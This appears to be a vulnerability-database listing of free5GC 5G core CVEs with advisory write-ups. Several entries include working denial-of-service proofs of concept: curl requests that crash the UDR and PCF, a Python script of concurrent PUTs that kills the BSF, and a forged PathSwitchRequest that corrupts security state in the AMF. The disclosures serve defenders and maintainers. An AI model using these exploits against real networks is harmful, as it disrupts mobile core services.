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by Free5gc

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CVEs (39)

CVESevRiskCVSSEPSSKEVPublishedDescription
CVE-2026-41136Med0.345.30.00Apr 22, 2026free5GC AMF provides Access & Mobility Management Function (AMF) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. Prior to version 1.4.3, the `HTTPUEContextTransfer` handler in `internal/sbi/api_communication.go` does not include a `default` case in the `Content-Type` switch statement. When a request arrives with an unsupported `Content-Type`, the deserialization step is silently skipped, `err` remains `nil`, and the processor is invoked with a completely uninitialized `UeContextTransferRequest` object. Version 1.4.3 contains a fix.
CVE-2026-40249Med0.345.30.00Apr 16, 2026free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the PUT handler for updating Policy Data notification subscriptions at /nudr-dr/v2/policy-data/subs-to-notify/{subsId} does not return after request body retrieval or deserialization errors. Although HTTP 500 or 400 error responses are sent, execution continues and the processor is invoked with a potentially uninitialized or partially initialized PolicyDataSubscription object. This fail-open behavior may allow unintended modification of existing Policy Data notification subscriptions with invalid or empty input, depending on downstream processor and storage behavior. A patched version was not available at the time of publication.
CVE-2026-4531Med0.275.30.00Mar 22, 2026A weakness has been identified in Free5GC 4.1.0. Affected is the function HandleRegistrationComplete of the file internal/gmm/handler.go of the component AMF. Executing a manipulation can lead to denial of service. The attack may be performed from remote. This patch is called 52e9386401ce56ea773c5aa587d4cdf7d53da799. It is best practice to apply a patch to resolve this issue.
CVE-2026-44324med0.19——May 8, 2026### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required. This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ``` Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions. 1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60
CVE-2026-44323med0.19——May 8, 2026### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60
CVE-2026-44318med0.19——May 8, 2026### Summary free5GC's BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart. This endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS. ### Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/bsf:v4.2.1` - Docker validation date: 2026-03-22 - BSF endpoint: `http://10.100.200.11:8000` Read side (locked): ```go func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock() sub, exists := c.Subscriptions[subId] return sub, exists } ``` Unsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`): ```go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription ``` Under concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go's `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates. Code evidence (paths in `free5gc/bsf`): - Read side (locked): - `NFs/bsf/internal/sbi/processor/subscriptions.go:81` - `NFs/bsf/internal/context/context.go:726` - `NFs/bsf/internal/context/context.go:730` - Unsafe write side (the create-if-absent branch in PUT, no lock): - `NFs/bsf/internal/sbi/processor/subscriptions.go:111` - `NFs/bsf/internal/sbi/processor/subscriptions.go:114` The normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch. ### PoC Reproduced end-to-end against the running BSF at `http://10.100.200.11:8000`. 1. Obtain a valid `nbsf-management` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management' ``` 2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): ```python import json, threading, urllib.request TOKEN = "<valid_nbsf_management_jwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCF_BINDING_CREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode() def send_put(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.add_header("Authorization", f"Bearer {TOKEN}") req.add_header("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read() threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=send_put, args=(i, n))) for t in threads: t.start() for t in threads: t.join() ``` 3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process: ``` [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f ``` 4. Container state confirms exit code 2: ``` exited|2|0 ``` ### Impact Unsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart. Any party that holds (or can obtain) a valid `nbsf-management` token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage. No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
CVE-2026-44317med0.19——May 8, 2026### Summary free5GC's PCF `POST /npcf-policyauthorization/v1/app-sessions` handler panics on a single authenticated request whose `ascReqData.suppFeat == "1"` (enabling traffic-routing feature negotiation) and whose `medComponents` entries supply an `afAppId` but NO `AfRoutReq`. The create path then calls `provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...)` with `routeReq == nil` and dereferences `routeReq.RouteToLocs` (and other fields) without a nil check, causing `runtime error: invalid memory address or nil pointer dereference`. Gin recovery converts the panic into `HTTP 500`. The trigger is a single valid authenticated request -- changing only `suppFeat` from `"0"` to `"1"` flips the same shape of POST from a normal `201 Created` into a panic-driven `500`. This endpoint requires a valid `npcf-policyauthorization` OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path. ### Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - PCF endpoint: `http://10.100.200.9:8000` - Validation date: 2026-03-12 Vulnerable handler path: ``` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``` In `provisioningOfTrafficRoutingInfo`, `routeReq.RouteToLocs`, `routeReq.UpPathChgSub`, and `routeReq.AppReloc` are dereferenced directly without a nil check. When `suppFeat` is `"0"` the traffic-routing branch is not entered and the same input shape returns `201 Created`; when `suppFeat` is `"1"` the branch is entered and the nil-deref fires. Code evidence (paths in `free5gc/pcf`): - Affected route + dispatch: `NFs/pcf/internal/sbi/api_policyauthorization.go` - Create handler path: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Call site that passes nil `routeReq` into the traffic-routing helper: `NFs/pcf/internal/sbi/processor/policyauthorization.go` - Panic site (nil deref of `routeReq.*` fields): `NFs/pcf/internal/sbi/processor/policyauthorization.go:1740` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. 1. Obtain a valid `npcf-policyauthorization` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``` 2. Trigger the panic with a single valid authenticated POST whose `ascReqData.suppFeat == "1"`, `medComponents` supplies `afAppId`, and `AfRoutReq` is absent: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. Control comparison -- same request shape but `suppFeat="0"` -> normal `201 Created`: ``` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``` ``` HTTP/1.1 201 Created ``` 4. PCF container logs show the panic stack landing in `provisioningOfTrafficRoutingInfo` with `routeReq = 0x0`: ``` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes `routeReq` straight into `provisioningOfTrafficRoutingInfo` without a nil check, even though `medComp.AfRoutReq` is optional and is nil for the demonstrated valid input shape. The control experiment with `suppFeat="0"` proves the request shape itself is otherwise valid. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with `suppFeat="1"` and `medComponents.*.AfAppId` set but `AfRoutReq` absent returns `HTTP 500` with empty body and a stack trace in PCF logs. Any party that holds (or can obtain) a valid `npcf-policyauthorization` token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65
CVE-2026-5360Low0.173.70.00Apr 2, 2026A vulnerability has been found in Free5GC 4.2.0. The affected element is an unknown function of the component aper. Such manipulation leads to type confusion. The attack may be launched remotely. This attack is characterized by high complexity. The exploitability is described as difficult. The exploit has been disclosed to the public and may be used. The name of the patch is 26205eb01705754b7b902ad6c4b613c96c881e29. It is best practice to apply a patch to resolve this issue.
CVE-2026-42082low0.07——May 7, 2026### Summary The AMF in Free5GC v4.2.1 does not enforce the concurrent security procedure rules defined in 3GPP TS 33.501 §6.9.5.1. The AMF does not check for ongoing N2 handover procedures before initiating a NAS Security Mode Command, and vice versa. This can lead to mismatches between NAS and AS security contexts in the network and the UE. ### Details **Vulnerability Type:** CWE-358 (Improperly Implemented Security Check for Standard) **Affected File:** `internal/ngap/handler.go` — `handleHandoverRequiredMain()` and `internal/gmm/sm.go` — `SecurityMode()` **Root Cause:** 3GPP TS 33.501 §6.9.5.1 states: > "Concurrent runs of security procedures may, in certain situations, lead to mismatches between security contexts in the network and the UE. In order to avoid such mismatches, the following rules shall be adhered to: > 1. AMF shall not initiate any of the N2 procedures including a new key towards a UE if a NAS Security Mode Command procedure is ongoing with the UE. > 2. The AMF shall not initiate a NAS Security Mode Command towards a UE if one of the N2 procedures including a new key is ongoing with the UE." Free5GC AMF uses an `OnGoing` state tracking mechanism (`SetOnGoing()`, `GetOnGoing()`) with `OnGoingProcedureN2Handover` type. However, the cross-procedure checks required by §6.9.5.1 are not implemented: **Rule 2 violation:** `SecurityMode()` in `internal/gmm/sm.go` sends SMC on `EntryEvent` without checking if N2 handover is ongoing. **Rule 1 violation:** `handleHandoverRequiredMain()` in `internal/ngap/handler.go` calls `SetOnGoing(OnGoingProcedureN2Handover)` without checking if SMC is ongoing. **Why NH/NCC and SMC are related:** SMC activates a new KAMF, which changes the basis for NH key derivation. The N2 HandoverRequest includes NH/NCC derived from the old KAMF. If both procedures run concurrently, the target gNB and UE derive different KgNB keys, breaking AS security. ### PoC **Source code evidence:** Free5GC AMF `internal/gmm/sm.go` — `SecurityMode()`: ```go func SecurityMode(state *fsm.State, event fsm.EventType, args fsm.ArgsType) { switch event { case fsm.EntryEvent: // No check for OnGoing N2 procedure // Directly proceeds to SMC ``` Free5GC AMF `internal/ngap/handler.go` — `handleHandoverRequiredMain()`: ```go amfUe.SetOnGoing(sourceUe.Ran.AnType, &context.OnGoing{ Procedure: context.OnGoingProcedureN2Handover, }) // No check for ongoing SMC before setting N2 ``` **Packet Evidence (pcap available):** | Packet | Time | Message | Description | |--------|------|---------|-------------| | #1 | 0.000s | HandoverRequired | gNB_A requests handover | | #18 | 0.002s | **HandoverRequest** | **N2 started (NH/NCC included)** | | | | *(no response from gNB_B)* | **N2 ongoing** | | #28 | 2.062s | Registration request | UE re-registers (same SUPI) | | #63 | 2.069s | Authentication request | | | #64 | 2.070s | Authentication response | | | #71 | 2.072s | **Security mode command** | **SMC during N2 ongoing = Rule 2 violation** | [NGAPHandover-N2-SMC-Concurrent.zip](https://github.com/user-attachments/files/26735421/NGAPHandover-N2-SMC-Concurrent.zip) ### Impact **Integrity (MEDIUM):** Concurrent NAS and AS security procedures can cause security context mismatches between UE, AMF, and gNB. The SMC activates a new KAMF while the N2 HandoverRequest carries NH/NCC derived from the old KAMF, resulting in KgNB derivation mismatch. **Availability (LOW):** Security context mismatch may cause handover failure or security verification failures.
CVE-2026-420810.00——May 7, 2026### Summary The AMF in Free5GC v4.2.1 does not verify the UE Security Capabilities received in NGAP PathSwitchRequest messages against its locally stored values, as mandated by 3GPP TS 33.501 §6.7.3.1. A malicious gNB can overwrite the AMF's stored UE security capabilities with arbitrary values, which are then propagated in PathSwitchRequest Acknowledge messages and subsequent Handover Request messages. This leads to persistent handover denial-of-service for affected UEs. ### Details **Affected File:** `amf/internal/ngap/handler.go` — `handlePathSwitchRequestMain` function **Root Cause:** When the AMF receives a PathSwitchRequest during an Xn-handover, it processes the UESecurityCapabilities IE by directly overwriting the stored values without comparing them to the previously stored capabilities: ```go if uESecurityCapabilities != nil { amfUe.UESecurityCapability.SetEA1_128_5G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x80) amfUe.UESecurityCapability.SetEA2_128_5G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x40) amfUe.UESecurityCapability.SetEA3_128_5G(uESecurityCapabilities.NRencryptionAlgorithms.Value.Bytes[0] & 0x20) amfUe.UESecurityCapability.SetIA1_128_5G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x80) amfUe.UESecurityCapability.SetIA2_128_5G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x40) amfUe.UESecurityCapability.SetIA3_128_5G(uESecurityCapabilities.NRintegrityProtectionAlgorithms.Value.Bytes[0] & 0x20) } ``` **3GPP TS 33.501 §6.7.3.1 requires three actions, none of which are implemented:** 1. **Verification (SHALL):** "The AMF shall verify that the UE's 5G security capabilities received from the target gNB/ng-eNB are the same as the UE's 5G security capabilities that the AMF has locally stored." → Not implemented. The AMF unconditionally overwrites stored values. 2. **Correction (SHALL):** "If there is a mismatch, the AMF shall send its locally stored 5G security capabilities of the UE to the target gNB/ng-eNB in the Path-Switch Acknowledge message." → Not implemented. The PathSwitchRequestAcknowledge contains the corrupted values. 3. **Logging (SHALL):** "The AMF shall support logging capabilities for this event and may take additional measures, such as raising an alarm." → Not implemented. No mismatch detection or logging exists. **Propagation:** The corrupted values are propagated in: - **PathSwitchRequestAcknowledge:** Contains corrupted UESecurityCapabilities (demonstrated in pcap) - **Subsequent HandoverRequest messages:** AMF sends corrupted capabilities to target gNBs Per TS 38.413 §8.4.2.4, if the supported algorithms in the UE Security Capabilities do not match any allowed algorithms configured in the target gNB, the target gNB is required to reject the procedure using a HANDOVER FAILURE message. ### PoC **Environment:** - Free5GC v4.2.1 AMF (Docker container) with full NF stack (NRF, AUSF, UDM, UDR, NSSF, PCF, SMF, UPF) - UERANSIM v3.2.7 gNB with custom inspection-tool extension - tshark for packet capture **Reproduction Steps:** 1. Start Free5GC full stack and register a UE through a gNB (NG Setup → Registration → PDU Session Setup). 2. Send a normal HandoverRequired from the gNB. Capture the resulting HandoverRequest from the AMF and confirm `nRintegrityProtectionAlgorithms = 0xe000` (NIA1, NIA2, NIA3 all supported). This is the baseline. 3. Send a PathSwitchRequest with `nRintegrityProtectionAlgorithms = 0x0000` (all integrity algorithms set to not supported). The AMF responds with PathSwitchRequestAcknowledge. 4. Observe that the PathSwitchRequestAcknowledge contains `nRintegrityProtectionAlgorithms = 0x0000` — the corrupted values are propagated back. **Observed Result (from pcap capture):** | Packet | Message | nRintegrityProtectionAlgorithms | |--------|---------|-------------------------------| | #20 | HandoverRequest (AMF→gNB) | `0xe000` (NIA1 ✓ NIA2 ✓ NIA3 ✓) — **baseline** | | #30 | PathSwitchRequest (gNB→AMF) | `0x0000` — **poison** | | #47 | PathSwitchRequestAcknowledge (AMF→gNB) | `0x0000` (NIA1 ✗ NIA2 ✗ NIA3 ✗) — **corrupted** | ### Impact **Availability (HIGH):** A malicious gNB can send a single PathSwitchRequest message to corrupt the AMF's stored UE security capabilities for any UE. All subsequent inter-gNB handovers for the affected UE are expected to fail (per TS 38.413 §8.4.2.4), resulting in denial-of-service that persists until the UE performs a new registration. **Integrity (LOW):** The AMF's internal UE security context is corrupted with attacker-controlled values. These corrupted values are propagated to other network elements via PathSwitchRequestAcknowledge and HandoverRequest messages. **Who is impacted:** Any deployment using Free5GC as the AMF where a gNB could be compromised or where untrusted gNBs exist (e.g., O-RAN multi-vendor deployments).
CVE-2026-331920.00—0.00Mar 20, 2026Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. In versions prior to 1.4.2, the UDM incorrectly converts a downstream 400 Bad Request (from UDR) into a 500 Internal Server Error when handling PATCH requests with an empty supi path parameter. Additionally, the UDM incorrectly translates the PATCH method to PUT when forwarding to UDR, indicating a deeper architectural issue. This leaks internal error handling behavior, making it difficult for clients to distinguish between client-side errors and server-side failures. The issue has been patched in version 1.4.2.
